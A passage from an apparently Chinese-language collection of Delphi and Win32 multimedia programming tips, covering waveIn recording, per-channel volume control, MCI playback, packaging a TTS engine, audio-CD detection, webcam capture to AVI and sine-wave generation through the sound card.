WaveInHeader2: TWaveHdr;

RecordBufferSize: integer;

TotalRecordedSize: DWORD;

//进行录音

procedure TDlgRecord.BtnStartClick(Sender: TObject);

var

TempInt, TempCode: integer;

TempFileName: string;

MMR: MMResult;

MyWaveFormat: TWaveFormatEx;

begin

PrgsBarSpace.Position := 0;

Recording := false;

OldDiskFree := DiskFree (RecordDrive);

with RecordWaveFormat do

begin

if RdoBtnMono.Checked = true then

Channels := 1

else

Channels := 2;

if RdoBtn8Bit.Checked = true then

BitsPerSample := 8

else

BitsPerSample := 16;

Val (EditFrequency.Text, TempInt, TempCode);

if TempCode <> 0 then

begin

Application.MessageBox ('无效数值', '错误', MB_Ok);

exit;

end

else if TempInt > 48000 then

begin

Application.MessageBox('不能大于48000赫兹', '错误', MB_Ok);

exit;

end

else

begin

SamplesPerSecond := TempInt;

end;

BytesPerSecond := SamplesPerSecond * Channels * BitsPerSample div

8;

BlockAlign := BitsPerSample * Channels div 8 ;

end;

TempFileName := TempFileNameGenerator (Self.TempPath, 'WM_', 'TMP',

5);

AssignFile (RecordFile, TempFileName);

Rewrite (RecordFile, 1);

if IOResult <> 0 then

begin

Application.Messagebox ('无法创建暂时文件，请检查临时目录设定。',

'严重错误', MB_OK);

exit;

end;

RecordFileName := TempFileName;

RecordSuccess := false; // 由于文件名已经改变，所以在这里修改该变量。

// Preparation jobs here

SttTextElapsedTime.Caption := '00:00:00';

ElapsedHours := 0;

ElapsedMinutes := 0;

ElapsedSeconds := 0;

CurrentUsingBuffer := 1;

TotalRecordedSize := 0;

BufferFinished := false;

UserStopRecord := false;

RecordBufferSize := RecordWaveFormat.BytesPerSecond * 2; // for 2 se

conds

Buffer1 := nil;

Buffer2 := nil;

try

GetMem (Buffer1, RecordBufferSize);

except

Application.MessageBox ('内存不足，分配第一缓冲区失败。', '错误',

MB_OK);

end;

try

GetMem (Buffer2, RecordBufferSize);

except

Application.MessageBox ('内存不足，分配第二缓冲区失败。', '错误',

MB_OK);

end;

if (Buffer1 = nil) or (Buffer2 = nil) then

begin

CloseFile (RecordFile);

exit;

end;

MyWaveFormat.wFormatTag := WAVE_FORMAT_PCM;

MyWaveFormat.nChannels := RecordWaveFormat.Channels;

MyWaveFormat.nSamplesPerSec := RecordWaveFormat.SamplesPerSecond;

MyWaveFormat.nAvgBytesPerSec := RecordWaveFormat.BytesPerSecond;

MyWaveFormat.nBlockAlign := RecordWaveFormat.BlockAlign;

MyWaveFormat.wBitsPerSample := RecordWaveFormat.BitsPerSample;

MyWaveFormat.cbSize := 0;

MMR := waveInOpen (Addr (waveInHandle),

SelectedDevice,

Addr (MyWaveFormat),

DWORD (Addr (WaveInCallBack)),

0,

CALLBACK_FUNCTION);

if MMR <> MMSYSERR_NOERROR then

begin

FreeMem (Buffer1); FreeMem (Buffer2);

RecordBufferSize := 0;

CloseFile (RecordFile);

Application.MessageBox ('无法打开输入设备，请检查设定。', '错误',

MB_OK);

exit;

end;

waveInHeader1.lpData := Buffer1;

waveInHeader1.dwBufferLength := RecordBufferSize;

waveInHeader1.dwBytesRecorded := 0;

waveInHeader1.dwUser := 0; // 32 bits of user data

waveInHeader1.dwFlags := 0;

waveInHeader1.dwLoops := 0;

waveInHeader1.lpNext := nil; // reserved; must be zero

waveInHeader1.reserved := 0; // reserved; must be zero

MMR := waveInPrepareHeader (waveInHandle, Addr (waveInHeader1),

sizeof (waveInHeader1));

if MMR <> MMSYSERR_NOERROR then

begin

FreeMem (Buffer1); FreeMem (Buffer2);

RecordBufferSize := 0;

CloseFile (RecordFile);

Application.MessageBox ('第一录音缓冲区准备出错。', '错误', MB_OK)

;

exit;

end;

waveInHeader2.lpData := Buffer2;

waveInHeader2.dwBufferLength := RecordBufferSize;

waveInHeader2.dwBytesRecorded := 0;

waveInHeader2.dwUser := 0; // 32 bits of user data

waveInHeader2.dwFlags := 0;

waveInHeader2.dwLoops := 0;

waveInHeader2.lpNext := nil; // reserved; must be zero

waveInHeader2.reserved := 0; // reserved; must be zero

MMR := waveInPrepareHeader (waveInHandle, Addr (waveInHeader2),

sizeof (waveInHeader2));

if MMR <> MMSYSERR_NOERROR then

begin

waveInUnprepareHeader (waveInHandle, Addr (waveInHeader1), sizeof(

waveInHeader1));

FreeMem (Buffer1); FreeMem (Buffer2);

RecordBufferSize := 0;

CloseFile (RecordFile);

Application.MessageBox ('第二录音缓冲区准备出错。', '错误', MB_OK)

;

exit;

end;

MMR := waveInAddBuffer (WaveInHandle, Addr (waveInHeader1), sizeof (

waveInHeader1));

if MMR <> MMSYSERR_NOERROR then

begin

waveInUnprepareHeader (waveInHandle, Addr (waveInHeader1), sizeof(

waveInHeader1));

waveInUnprepareHeader (waveInHandle, Addr (waveInHeader2), sizeof(

waveInHeader2));

FreeMem (Buffer1); FreeMem (Buffer2);

RecordBufferSize := 0;

CloseFile (RecordFile);

Application.MessageBox ('添加第一缓冲区出错。', '错误', MB_OK);

exit;

end;

MMR := waveInAddBuffer (WaveInHandle, Addr (waveInHeader2), sizeof (

waveInHeader2));

if MMR <> MMSYSERR_NOERROR then

begin

waveInUnprepareHeader (waveInHandle, Addr (waveInHeader1), sizeof(

waveInHeader1));

waveInUnprepareHeader (waveInHandle, Addr (waveInHeader2), sizeof(

waveInHeader2));

FreeMem (Buffer1); FreeMem (Buffer2);

RecordBufferSize := 0;

CloseFile (RecordFile);

Application.MessageBox ('添加第二缓冲区出错。', '错误', MB_OK);

exit;

end;

TimerRecording.Enabled := true;

// Record has begun.

Recording := true;

MMR := waveInStart (waveInHandle);

if MMR <> MMSYSERR_NOERROR then

begin

waveInUnprepareHeader (waveInHandle, Addr (waveInHeader1), sizeof(

waveInHeader1));

waveInUnprepareHeader (waveInHandle, Addr (waveInHeader2), sizeof(

waveInHeader2));

FreeMem (Buffer1); FreeMem (Buffer2);

RecordBufferSize := 0;

CloseFile (RecordFile);

Recording := false;

TimerRecording.Enabled := false;

Application.MessageBox ('未能开始录音。', '错误', MB_OK);

exit;

end;

// 应该在这里开始创建线程.

// 需要传递参数: RecordFile, Buffer1, Buffer2,

with TMediaRecordThread.Create (Addr(RecordFile), Buffer1, Buffer2)

do

OnTerminate := ThreadRecordStop;

// disable/enable controls

BtnCancel.Enabled := false;

BtnStart.Enabled := false;

GrpBoxChannel.Enabled := false;

LBFrequency.Enabled := false;

EditFrequency.Enabled := false;

LstBoxFrequency.Enabled := false;

GrpBoxSample.Enabled := false;

BtnStop.Enabled := true;

end;


左右声道的问题和音量控制

//音量控制

procedure TForm1.TrackBar1Change(Sender: TObject);

var

t,v:Longint;

begin

// if a=0 then Exit;

t:=TrackBar1.Position;

v:=(t shl 8)or(t shl 24);

waveOutSetVolume(0,v);

end;

procedure tform1.trackbar1changer (sender:tobject);//左声道

var t,v:longint;

begin

t:=trackbar1.postion;

wavoutgetvolume(0,@v);

v:=v and $ffff0000 or (t shl 8);

wavoutsetvolume(0,v);

end;

procedure tform1.trackbar2changer (sender:tobject);//右声道

var t,v:longint;

begin

t:=trackbar2.postion;

wavoutgetvolume(0,@v);

v:=v and $0000ffff or (t shl 24);

wavoutsetvolume(0,v);

end;

//获得当前音量值

procedure TForm1.FormCreate(Sender: TObject);

var

v:longint;

begin

waveOutGetVolume(0,@v);

TrackBar2.Position:=hi(v);

TrackBar3.Position:=hi(v shr 16);

if hi(v)>hi(v shr 16) then

TrackBar1.Position:=hi(v)

else

TrackBar1.Position:=hi(v shr 16);

end;

end.

函数说明：

waveOutSetVolume

第一个参数是波形文件输出设备标识符；

第二个参娄是音量大小。这是一个32位的整数，低16位表示左声道的音量，

高16位表示右声道的音量。

waveOutGetVolume

第一个参数是波形文件输出设备标识符；

第二个参数是一个32位整数的指针。

可以用auxoutsetvolume(id:integer,volume:dword);具体使用方法请查阅DELPHI帮助，WIN32SDK.HLP。 其中ID是设备代号,我在实际编程中发现ID随着机器的不同而不同,但是他可以直接控制各种设备的音量,你可以用不同的ID试一试(ID一般在1~8之间)，音量设置方法wjiachun好象没错！


MCI使用一例

if(!MCIWndRegisterClass())

return FALSE;

HWND m_hAVI;

m_hAVI=MCIWndCreate(NULL,AfxGetInstanceHandle(),MCIWNDF_NOPLAYBAR|

WS_MAXIMIZE|WS_VISIBLE|WS_POPUP,"c:\tishi.dir");//"G:\Program Files\ICQ\ICQNEWS.avi"

if(MCIWndUseTime(m_hAVI)!=0)

return FALSE;

long PlayTime=MCIWndGetLength(m_hAVI);

MCIWndPlay(m_hAVI);

::Sleep(PlayTime*5);

MCIWndDestroy(m_hAVI);

行吗？


TTS引擎的安装制作

Kingron你好，

你在回信中提到中英文TTS引擎的制作方法，我理解就是这样的：

原料：四个 *.msm文件（分别是sp5.msm sp5intl.msm sp5ttint.msm

pcommon.msm)关于每个文件的具体介绍可以参看附件中的

Speech2001.mht。

工具：MS Installer.(这个东西据说是VS.net的一部分，用于包装发布，也可

在M$网站下载。）

合成：其实有了以上的工具和原料后，制作引擎的过程是非常简单的，只需把

上面提到的四个*.msm文件用Installer合在一起，合成为*.MSI文件即

可。

其它的工作包括写注册表、确定目标路径之类的工作都不用自已作，因

为这些工作在*.msm文件里面已经作好了。

发行：有了*.msi文件便可以通过双击直接使用了，但是由于有的机器并不能

直接使用MSI的安装技术，对于这样的环境，需要先有个类似初始化的

过程，这个工作便由MSI loader来作。MSI loader其实就是一个标准的

Setup.exe文件，它先判断环境是否支持MSI技术，若发现不支持，便自

动初始化，接下来，搜索同目录下的*.msi文件并执行之，至此，安装

过程结束。所以，一般情况下，安装文件由Setup.exe,*.msi,setup.ini

以及另外两个支持文件组成。

说了这么多，也不知把意思表达清楚没有，我可以保证，以上方法100%可行，

因为，我已经使用了用这种方法制作的引擎，一切OK。但是我必须告诉你，由

于我还没有下载MS Installer，所以我本人还没有亲自用这种方法制作过引擎，

我现在使用的是网友红蜻蜓用上面的方法制作的。

如果你对这个有兴趣，我可以给你提供我现有的资源，包括：所有*.msm(7M)

以及MS loader(2.96M),至于那个现成的引擎，如果你想用，在征得红蜻蜓的

同意后（毕竟东西是他做的），我也可以马上发给你。

好了，就此搁笔，改天再聊。

祝 幸福 快乐

cxg

2001.9.4


判断光盘是否是CD

Function AudioCD(Drive : Char) : Boolean;

Var

FSFlags, MaxLength: DWORD;

VolName, Path : String;

Begin

Path := Drive + ':\';

Result := FALSE;

if (GetDriveType(PChar(Path)) = DRIVE_CDROM) then

Begin

SetLength(VolName, 64);

GetVolumeInformation(PChar(Path), PChar(VolName), Length(VolName), nil, MaxLength, FSFlags, nil,0);

if (lStrCmp(PChar(VolName),'Audio CD') = 0) Then Result := TRUE;

End;

end;


视频采集

存成avi

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,

Dialogs, ExtCtrls, StdCtrls;

type

TForm1 = class(TForm)

Panel1: TPanel;

OpenVideo: TButton;

CloseVideo: TButton;

GrabFrame: TButton;

SaveBMP: TButton;

StartAVI: TButton;

StopAVI: TButton;

SaveDialog1: TSaveDialog;

procedure FormCreate(Sender: TObject);

procedure OpenVideoClick(Sender: TObject);

procedure CloseVideoClick(Sender: TObject);

procedure GrabFrameClick(Sender: TObject);

procedure SaveBMPClick(Sender: TObject);

procedure StartAVIClick(Sender: TObject);

procedure StopAVIClick(Sender: TObject);

private

{ Private declarations }

hWndC : THandle;

CapturingAVI : bool;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

const WM_CAP_START = WM_USER;

const WM_CAP_STOP = WM_CAP_START + 68;

const WM_CAP_DRIVER_CONNECT = WM_CAP_START + 10;

const WM_CAP_DRIVER_DISCONNECT = WM_CAP_START + 11;

const WM_CAP_SAVEDIB = WM_CAP_START + 25;

const WM_CAP_GRAB_FRAME = WM_CAP_START + 60;

const WM_CAP_SEQUENCE = WM_CAP_START + 62;

const WM_CAP_FILE_SET_CAPTURE_FILEA = WM_CAP_START + 20;

function capCreateCaptureWindowA(lpszWindowName : PCHAR;

dwStyle : longint;

x : integer;

y : integer;

nWidth : integer;

nHeight : integer;

ParentWin : HWND;

nId : integer): HWND;

STDCALL EXTERNAL 'AVICAP32.DLL';

procedure TForm1.FormCreate(Sender: TObject);

begin

CapturingAVI := false;

hWndC := 0;

SaveDialog1.Options :=

[ofHideReadOnly, ofNoChangeDir, ofPathMustExist]

end;

procedure TForm1.OpenVideoClick(Sender: TObject);

begin

hWndC := capCreateCaptureWindowA('My Own Capture Window',

WS_CHILD or WS_VISIBLE ,

Panel1.Left,

Panel1.Top,

Panel1.Width,

Panel1.Height,

Form1.Handle,

0);

if hWndC <> 0 then

SendMessage(hWndC, WM_CAP_DRIVER_CONNECT, 0, 0);

end;

procedure TForm1.CloseVideoClick(Sender: TObject);

begin

if hWndC <> 0 then begin

SendMessage(hWndC, WM_CAP_DRIVER_DISCONNECT, 0, 0);

hWndC := 0;

end;

end;

procedure TForm1.GrabFrameClick(Sender: TObject);

begin

if hWndC <> 0 then

SendMessage(hWndC, WM_CAP_GRAB_FRAME, 0, 0);

end;

procedure TForm1.SaveBMPClick(Sender: TObject);

begin

if hWndC <> 0 then begin

SaveDialog1.DefaultExt := 'bmp';

SaveDialog1.Filter := 'Bitmap files (*.bmp)|*.bmp';

if SaveDialog1.Execute then

SendMessage(hWndC,

WM_CAP_SAVEDIB,

0,

longint(pchar(SaveDialog1.FileName)));

end;

end;

procedure TForm1.StartAVIClick(Sender: TObject);

begin

if hWndC <> 0 then begin

SaveDialog1.DefaultExt := 'avi';

SaveDialog1.Filter := 'AVI files (*.avi)|*.avi';

if SaveDialog1.Execute then begin

CapturingAVI := true;

SendMessage(hWndC,

WM_CAP_FILE_SET_CAPTURE_FILEA,

0,

Longint(pchar(SaveDialog1.FileName)));

SendMessage(hWndC, WM_CAP_SEQUENCE, 0, 0);

end;

end;

end;

procedure TForm1.StopAVIClick(Sender: TObject);

begin

if hWndC <> 0 then begin

SendMessage(hWndC, WM_CAP_STOP, 0, 0);

CapturingAVI := false;

end;

end;

end.


声卡模拟PC喇叭发声

来自：YB_unique, 时间：2001-12-5 11:00:00, ID：764750

为什么不直接用PC喇叭？声卡模拟发生Beep声音，需要做一个函数序列，通过改变频率来实现。

其实你完全可以做一个Wav资源文件，播放时改变频率即可！

下面给你所需函数，搞定没问题！

PWaveFormatEx = ^TWaveFormatEx;

tWAVEFORMATEX = packed record

wFormatTag: Word;

nChannels: Word;

nSamplesPerSec: DWORD;

nAvgBytesPerSec: DWORD;

nBlockAlign: Word;

wBitsPerSample: Word;

cbSize: Word;

end;

function waveOutOpen(

lphWaveOut: PHWaveOut;

uDeviceID: UINT;

lpFormat: PWaveFormatEx;

dwCallback, dwInstance,

dwFlags: DWORD

): MMRESULT;

function waveOutWrite(

hWaveOut: HWAVEOUT;

lpWaveOutHdr: PWaveHdr;

uSize: UINT

): MMRESULT; stdcall;

function waveOutUnprepareHeader(

hWaveOut: HWAVEOUT;

lpWaveOutHdr: PWaveHdr;

uSize: UINT

): MMRESULT; stdcall;

function waveOutClose(

hWaveOut: HWAVEOUT

): MMRESULT; stdcall;

来自：YB_unique, 时间：2001-12-5 11:02:00, ID：764758

完整调用单元如下：

unit Echo1;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, mmsystem;

const

{The larger the size of the block the fewer blocks recorded}

{per second and therefore the longer the delay between}

{recording and playback}

memBlockLength = 500;

{500 bytes at 11k/sec = delay of 500/11000 of a second}

{roughly a 20th}

type

Tmemblock = array[0..memblocklength] of byte;

PmemBlock = ^TmemBlock;

TForm1 = class(TForm)

procedure FormCreate(Sender: TObject);

procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

private

{ Private declarations }

HwaveIn:PHWaveIn;

HWaveOut:PHWaveOut;

close_invoked,close_complete:boolean;

in_count,out_count:integer;

procedure MMOutDone(var msg:Tmessage);message MM_WOM_DONE;

procedure MMInDone(var msg:Tmessage);message MM_WIM_DATA;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

var

WaveFormat:PPCMWaveFormat;

Header:PWaveHdr;

memBlock:PmemBlock;

i,j:integer;

begin

WaveFormat:=new(PPCMwaveFormat);

with WaveFormat^.wf do

begin

WFormatTag := WAVE_FORMAT_PCM; {PCM format - the only option!}

NChannels:=1; {mono}

NSamplesPerSec:=11000; {11kHz sampling}

NAvgBytesPerSec:=11000; {we aim to use 8 bit sound so only 11k per second}

NBlockAlign:=1; {only one byte in each sample}

waveformat^.wBitsPerSample:=8; {8 bits in each sample}

end;

i:=waveOutOpen(nil,0,PWaveFormat(WaveFormat),0,0,WAVE_FORMAT_QUERY);

if i<>0 then application.messagebox('Error', 'Play format not supported', mb_OK);

i:=waveInOpen(nil,0,PWaveFormat(WaveFormat),0,0,WAVE_FORMAT_QUERY);

if i<>0 then application.messagebox('Error', 'Record format not supported', mb_OK);

HwaveOut:=new(PHwaveOut);

i:=waveOutOpen(HWaveOut,0,Pwaveformat(WaveFormat),form1.handle,0,CALLBACK_WINDOW);

if i<>0 then application.messagebox('Error', 'Problem creating play handle', mb_OK);

HwaveIn:=new(PHwaveIn);

i:=waveInOpen(HWaveIn,0,Pwaveformat(WaveFormat),form1.handle,0,CALLBACK_WINDOW);

if i<>0 then application.messagebox('Error', 'Problem creating record handle', mb_OK);

{these are the count of the number of blocks sent to}

{the audio device}

in_count:=0;

out_count:=0;

{need to add some buffers to the recording queue}

{in case the messages that blocks have been recorded}

{are delayed}

for j:= 1 to 3 do

begin

{make a new block}

Header:=new(PWaveHdr);

memBlock:=new(PmemBlock);

Header:=new(PwaveHdr);

with header^ do

begin

lpdata:=pointer(memBlock);

dwbufferlength:=memblocklength;

dwbytesrecorded:=0;

dwUser:=0;

dwflags:=0;

dwloops:=0;

end;

{prepare the new block}

i:=waveInPrepareHeader(HWaveIn^,Header,sizeof(TWavehdr));

if i<>0 then application.messagebox('In Prepare error','error',mb_ok);

{add it to the buffer}

i:=waveInAddBuffer(HWaveIn^,Header,sizeof(TWaveHdr));

if i<>0 then application.messagebox('Add buffer error','error',mb_ok);

inc(in_count);

end; {of loop}

{finally start recording}

i:=waveInStart(HwaveIn^);

if i<>0 then application.messagebox('Start error','error',mb_ok);

close_invoked:=false;

close_complete:=false;

end;

procedure TForm1.MMOutDone(var msg:Tmessage);

var

Header:PWaveHdr;

i:integer;

begin

dec(out_count);

{get the returned header}

Header:=PWaveHdr(msg.lparam);

i:=waveOutUnPrepareHeader(HWaveOut^,Header,sizeof(TWavehdr));

if i<>0 then application.messagebox('Out Un Prepare error','error',mb_ok);

{free the memory}

dispose(Header^.lpdata);

dispose(Header);

{if there's no more blocks being recorded}

if (out_count=0) then

begin

WaveOutClose(HWaveOut^);

HwaveOut:=nil;

end;

{if there's nothing more to do then close}

if (in_count=0) and (out_count=0) then

begin

close_complete:=true;

close;

end;

end;

procedure TForm1.MMInDone(var msg:Tmessage);

var

Header:PWaveHdr;

memBlock:PmemBlock;

i:integer;

begin

dec(in_count);

{block has been recorded}

Header:=PWaveHdr(msg.lparam);

i:=waveInUnPrepareHeader(HWaveIn^,Header,sizeof(TWavehdr));

if i<>0 then application.messagebox('In Un Prepare error','error',mb_ok);

if not(close_invoked) then

begin

{prepare it for play back}

i:=waveOutPrepareHeader(HWaveOut^,Header,sizeof(TWavehdr));

if i<>0 then application.messagebox('Out Prepare error','error',mb_ok);

{add it to the playback queue}

i:=waveOutWrite(HWaveOut^,Header,sizeof(TWaveHdr));

if i<>0 then application.messagebox('Wave out error','error',mb_ok);

inc(out_count);

{make a new block}

Header:=new(PWaveHdr);

memBlock:=new(PmemBlock);

Header:=new(PwaveHdr);

with header^ do

begin

lpdata:=pointer(memBlock);

dwbufferlength:=memblocklength;

dwbytesrecorded:=0;

dwUser:=0;

dwflags:=0;

dwloops:=0;

end;

{prepare the new block}

i:=waveInPrepareHeader(HWaveIn^,Header,sizeof(TWavehdr));

if i<>0 then application.messagebox('In Prepare error','error',mb_ok);

{add it to the buffer}

i:=waveInAddBuffer(HWaveIn^,Header,sizeof(TWaveHdr));

if i<>0 then application.messagebox('Add buffer error','error',mb_ok);

inc(in_count);

end;

{if there's no more blocks being recorded}

if (in_count=0) then

begin

WaveInClose(HWaveIn);

HwaveIn:=nil;

end;

{if there's nothing more to do then close}

if (in_count=0) and (out_count=0) then

begin

close_complete:=true;

close;

end;

end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

{reset the output channel}

if HWaveOut<>nil then WaveOutReset(HWaveOut^);

{reset the input channel}

if HwaveIn<>nil then WaveInReset(HWaveIn^);

close_invoked:=true;

canclose:=close_complete;

end;

end.


用声卡发声

用声卡发声

unit MainForm;

interface

uses

SysUtils, Windows, Messages, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls, ExtCtrls, MMSystem, mmErrMsg;

const

sweep_time = 45; // seconds for slow sweep

sample_rate = 44100; // i.e. best CD quality

sine_table_samples = 1 shl 15; // number of samples in sine table

max_buffer_samples = 32000; // reasonable size of output buffer (< 64K)

open_error = 'Error opening waveform audio!';

mem_error = 'Error allocating memory!';

type

audio_sample = -32767..32767; // for 16-bit audio

type

PSineTable = ^TSineTable; // sine value store

TSineTable = array [0..sine_table_samples-1] of audio_sample;

PBuffer = ^TBuffer; // output buffer type

TBuffer = array [0..max_buffer_samples-1] of audio_sample;

levels = (dB0, dB3, dB6, dB9, dB12, dB15, dB18, dB20); // output levels

type

TForm1 = class(TForm)

Panel1: TPanel;

Panel2: TPanel;

btnExit: TButton;

btnStart: TButton;

grpOutputLevel: TRadioGroup;

edtF1: TEdit;

lblFnow: TLabel;

procedure btnExitClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure grpOutputLevelClick(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure btnStartClick(Sender: TObject);

procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

procedure edtF1Change(Sender: TObject);

private

{ Private declarations }

angle: integer; // current sine wave angle

sine_table: PSineTable; // sine-wave values are pre-stored in this array

p_wave_hdr1: PWaveHdr; // wave headers

p_wave_hdr2: PWaveHdr;

p_buffer1: PBuffer; // output buffers

p_buffer2: PBuffer;

hWave_hdr1: HGlobal;

hWave_hdr2: HGlobal;

hBuffer1: HGlobal;

hBuffer2: HGlobal;

buffer_bytes: integer; // max number of bytes in each output buffer

f_min: integer; // limits of sweep range

buffers_written, buffers_played: integer; // for tracking the slow sweep

all_written: boolean; // so we know when to stop the sweep

f:extended;

hWave_out: HWaveOut; // handle to wave out device

pcm: TWaveFormatEx; // wave format descriptor

sweep_running: boolean;

shutoff: boolean;

closing: boolean;

sine_table_done: boolean;

closed: boolean;

level: levels;

// speed: speeds;

// range: ranges;

procedure restart_sweep;

procedure stop_sweep;

procedure start_sweep;

// call-backs from waveform out functions

procedure mm_wom_Open (var Msg: TMessage); message mm_wom_open;

procedure mm_wom_Done (var Msg: TMessage); message mm_wom_done;

procedure mm_wom_Close (var Msg: TMessage); message mm_wom_close;

// function fill_single_sweep_bfr (bfr: PBuffer; num_freqs: integer):

integer;

procedure fill_buffer_with_sinewave (bfr: PBuffer; index, samples:

integer);

procedure write_next_buffer (header: PWaveHdr);

procedure do_sine_table;

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

// speed := no_sweep;

// set the default positions for the RadioGroup boxes, this forces the

// dependant variables and the label captions to be set

// get the memory required for wave headers

// this code is probably irrelevant in the Win32 environment

hWave_hdr1 := GlobalAlloc (gHnd or gMem_Share, SizeOf (TWaveHdr));

p_wave_hdr1 := pWaveHdr (GlobalLock (hWave_hdr1));

hWave_hdr2 := GlobalAlloc (gHnd or gMem_Share, SizeOf (TWaveHdr));

p_wave_hdr2 := pWaveHdr (GlobalLock (hWave_hdr2));

// estimate of reasonable output buffer size

buffer_bytes := 2 * round (1.2 * sample_rate);

if buffer_bytes > 2 * max_buffer_samples

then buffer_bytes := 2 * max_buffer_samples;

// get the memory required for output buffers

hBuffer1 := GlobalAlloc (gHnd or gMem_Share, buffer_bytes);

p_buffer1 := pBuffer (GlobalLock (hBuffer1));

hBuffer2 := GlobalAlloc (gHnd or gMem_Share, buffer_bytes);

p_buffer2 := pBuffer (GlobalLock (hBuffer2));

hWave_out := 0;

// get the memory for the sine-wave table and note it hasn't been built, yet

GetMem (sine_table, SizeOf (TSineTable));

sine_table_done := false;

// set other state variables

shutoff := false;

closing := false;

sweep_running := false;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

shutoff := true;

GlobalUnlock (hWave_hdr1); GlobalFree (hWave_hdr1);

GlobalUnlock (hBuffer1); GlobalFree (hBuffer1);

GlobalUnlock (hWave_hdr2); GlobalFree (hWave_hdr2);

GlobalUnlock (hBuffer2); GlobalFree (hBuffer2);

FreeMem (sine_table, SizeOf (TSineTable));

end;

procedure TForm1.btnExitClick(Sender: TObject);

begin

Close;

end;

procedure TForm1.grpOutputLevelClick(Sender: TObject);

var

current: string;

begin

current := grpOutputLevel.Items.Strings [grpOutputLevel.ItemIndex];

if current = '0dB' then level := dB0;

if current = '-3dB' then level := dB3;

if current = '-6dB' then level := dB6;

if current = '-9dB' then level := dB9;

if current = '-12dB' then level := dB12;

if current = '-15dB' then level := dB15;

if current = '-18dB' then level := dB18;

if current = '-20dB' then level := dB20;

lblFnow.Caption := current;

sine_table_done := false; // level is different, so throw away present table

restart_sweep;

end;

procedure TForm1.restart_sweep;

begin

if sweep_running then start_sweep;

end;

procedure TForm1.stop_sweep;

begin

// is a sweep running? if so, stop it

if sweep_running

then

begin

shutoff := true;

waveOutReset (hWave_out);

sweep_running := false;

closed := false;

repeat

Application.ProcessMessages;

until closed;

end

end;

procedure TForm1.start_sweep;

var

open_status: MMRESULT;

code: integer;

begin

if sweep_running then stop_sweep;

// try to convert the text in the edit boxes to numbers

Val (edtF1.Text, f_min, code);

if code <> 0 then f_min := 150;

angle := 0;

// fill in the TWaveFormatEx structure with our wave details

with pcm do

begin

wFormatTag := wave_Format_PCM; // it's PCM data

nChannels := 1; // mono

nSamplesPerSec := sample_rate; // set the 44.1KHz rate

nAvgBytesPerSec := 2 * sample_rate; // two bytes per sample

nBlockAlign := 2; // for mono 16-bit audio

wBitsPerSample := 16; // 16-bit audio

cbSize := 0;

end;

shutoff := false;

// try and open the wave device for our format of wave data

open_status := waveOutOpen (@hWave_out, 0, @pcm, Handle, 0, callback_window);

if open_status = 0

then

begin

// prepare to receive the WaveOutOpen message to sctually start sending data

sweep_running := true;

closed := false;

lblFnow.Caption := IntToStr (f_min) + ' Hz';

lblFnow.Visible := True;

end

else

begin

sweep_running := false;

hWave_out := 0;

// inform user of failure

MessageDlg (open_error + #13#10 + translate_mm_error (open_status),

mtWarning, [mbOK], 0);

end;

end;

procedure TForm1.mm_wom_open (var Msg: tMessage);

// This code handles the WaveOutOpen message by writing two buffers of data

// to the wave device. Plus other miscellaneous housekeeping.

var

chunks: integer;

buffer_fill: integer;

// max valid sample in the buffer

begin

btnStart.Caption := 'STOP'; // first, tell the user how to stop the sound!

if not sine_table_done then do_sine_table; // build sine-wave table if

required

// populate the first wave header

with p_wave_hdr1^ do

begin

lpData := pChar (p_buffer1); // pointer to the data

dwBufferLength := 0; // fill in size later

dwBytesRecorded := 0;

dwUser := 0;

dwFlags := 0;

dwLoops := 1; // just a single loop

lpNext := nil;

reserved := 0;

end;

// populate the second buffer

p_wave_hdr2^ := p_wave_hdr1^; // copy most of the data

p_wave_hdr2^.lpData := pChar (p_buffer2); // except the buffer address!

// compute number of chunks in the sweep, ensure it's at least two

// aim for about four different frequencies per second

chunks := trunc ((sweep_time * sample_rate) / (sample_rate div 4) +

0.999);

if chunks < 2 then chunks := 2;

buffer_fill := (trunc (sweep_time * 2.0 * sample_rate / chunks)) and

$FFFFFFFE;

f := f_min;

p_wave_hdr1^.dwBufferLength := buffer_fill; // actual buffer sizes

p_wave_hdr2^.dwBufferLength := buffer_fill;

buffers_played := 0;

buffers_written := 0;

// now write the first two buffers into the wave output

waveOutPrepareHeader (hWave_out, p_wave_hdr1, SizeOf (TWaveHdr));

write_next_buffer (p_wave_hdr1);

waveOutPrepareHeader (hWave_out, p_wave_hdr2, SizeOf (TWaveHdr));

write_next_buffer (p_wave_hdr2);

end;

procedure TForm1.write_next_buffer (header: pWaveHdr);

begin

if shutoff then Exit;

with header^ do

begin

// fill buffer with sinewave data, record the frequency in the user field

fill_buffer_with_sinewave (pBuffer (lpData), 0, dwBufferLength div 2);

dwUser := round (f);

end;

// last_f := f;

// write the buffer and bump the number written

waveOutWrite (hWave_out, header, SizeOf (TWaveHdr));

Inc (buffers_written);

all_written := False

end;

procedure TForm1.mm_wom_done (var Msg: tMessage);

// handle the wave out done message by writing the next buffer, if required

var

free_header: pWaveHdr;

begin

// note the fact that another buffer has been completed

Inc (buffers_played);

// point to wave header just completed, i.e. the next free buffer

free_header := pWaveHdr (msg.lParam);

if not shutoff then

begin

if (all_written) or (buffers_played >= buffers_written)

then

begin

// everything written has been played

shutoff := true;

sweep_running := false;

closing := false; // say we're not closing just yet

end

else

begin

// make a note of the last frequency for the user

lblFnow.Caption := Format ('%.0f Hz', [f]);

// and write the next buffer, re-using the one just played

write_next_buffer (free_header);

end;

end;

if shutoff then

begin

waveOutReset (hWave_out);

waveOutClose (hWave_out);

end;

end;

procedure TForm1.mm_wom_close (var Msg: tMessage);

// handle the wave out close message, release the wave headers

begin

waveOutUnprepareHeader (hWave_out, p_wave_hdr1, SizeOf (TWaveHdr));

waveOutUnprepareHeader (hWave_out, p_wave_hdr2, SizeOf (TWaveHdr));

